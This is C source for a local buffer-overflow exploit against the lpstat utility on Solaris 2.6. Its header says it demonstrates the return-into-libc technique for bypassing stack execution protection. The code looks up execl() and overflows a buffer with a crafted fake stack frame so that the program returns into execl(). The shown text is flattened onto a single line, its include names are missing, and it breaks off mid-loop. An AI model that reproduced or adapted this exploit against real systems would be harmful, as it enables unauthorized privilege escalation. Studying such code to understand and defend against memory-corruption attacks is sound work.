/* lpstat exploit for Solaris 2.6 - horizon - This demonstrates the return into libc technique for bypassing stack execution protection. This requires some preliminary knowledge for use. to compile: gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lmp [-lC] */ #include #include #include #include #include #include #define BUF_LENGTH 1024 int main(int argc, char *argv[]) { char buf[BUF_LENGTH * 2]; char teststring[BUF_LENGTH * 2]; char *env[10]; char fakeframe[512]; char padding[64]; char platform[256]; void *handle; long execl_addr; u_char *char_p; u_long *long_p; int i; int pad=31; if (argc==2) pad+=atoi(argv[1]); if (!(handle=dlopen(NULL,RTLD_LAZY))) { fprintf(stderr,"Can't dlopen myself.\n"); exit(1); } if ((execl_addr=(long)dlsym(handle,"execl"))==NULL) { fprintf(stderr,"Can't find execl().\n"); exit(1); } execl_addr-=4; if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) || !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000)) { fprintf(stderr,"the address of execl() contains a '0'. sorry.\n"); exit(1); } printf("found execl() at %lx\n",execl_addr); char_p=buf; memset(char_p,'A',BUF_LENGTH); long_p=(unsigned long *) (char_p+1024); *long_p++=0xdeadbeef; /* Here is the saved %i0-%i7 */ *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xeffffb68; // our fake stack frame *long_p++=execl_addr; // we return into execl() in libc *long_p++=0; /* now we set up our fake stack frame in env */ long_p=(long *)fakeframe; *long_p++=0xdeadbeef; // we don't care about locals *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xefffffac; // points to our string to exec *long_p++=0xefffffac; // argv[1] is a copy of argv[0] *long_p++=0x0; // NULL for execl(); *long_p++=0xefffffcc; *long_p++=0xeffffd18; *long_p++=0xeffffd18; *long_p++=0xeffffd18; // this just has to be somewhere it can work with *long_p++=0x11111111; // doesn't matter b/c we exec *long_p++=0x0; /* This gives us some padding to play with */ memset(teststring,'A',BUF_LENGTH); teststring[BUF_LENGTH]=0; sysinfo(SI_PLATFORM,platform,256); pad+=20-strlen(platform); for (i=0;i